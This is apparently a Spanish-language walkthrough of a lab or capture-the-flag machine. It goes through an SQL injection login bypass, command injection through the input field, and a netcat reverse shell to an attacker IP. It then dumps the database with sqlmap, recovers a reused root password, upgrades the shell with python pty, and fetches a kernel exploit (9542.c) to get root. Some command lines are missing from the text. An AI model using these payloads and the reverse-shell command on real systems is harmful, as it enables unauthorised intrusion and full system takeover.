Se pasa a la ejecución de comandos con la injection:
' or 1=1 -- -
y entramos a ejecutar comandos añadiendo el ";" o "|", asi podemos ver que tiene instalado el nc en /usr/local/bin/nc (whereis nc), con lo cual esperemos sea el tradicional, para lo que probramos a conectar a una consola atacante escuchando en el puerto 5555 (por ejemplo) haciendo en ella el "nc -lvp 5555" y ejecutando en el cajetin lo siguiente:
;/usr/local/bin/nc ipatacante 5555 -e /bin/bash
Poner el path, sino no funciona :)
Ahora vamos a ver las injecciones desde sqlmap, así que hacemos:
los --data se obtienen de mirar la comunicación con un uso normal con tamper data, Live HTTP header u otros
Nos entrega la base de datos "webapp", y ahora probamos:
Vemos que is-dba es False y el usuario es john@localhost, con lo cual ahora sacamos toda la información de la base de datos que podamos, como usuarios y pass... y averiguamos que el pass de john y root son el mismo (hiroshima). Este pass lo podremos usar para conectar con mysql como root, y cambiar los privilegios
Ahora seguimos con la shell que tenemos creada, la mejoramos con
o bien con:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py :)
Ahora cambiamos los privilegios de root
y miramos el kernel con "uname -a", para ver que es una versión 2.6.9 vulnerable, vamos a buscar el exploit que está en kali linux en "/usr/share/exploitdb/platforms/linux/local/9542.c", así que ponemos un servidor web en la maquina atacante (kali) con python y nos lo bajamos desde la shell que tenemos conectada.
máquina kali:
Como está claro, habremos copiado el 9542.c al raiz desde donde ejecutamos el servidor web, y en la shell que conseguimos con el nc hacemos:
Y ya tenemos el root conseguido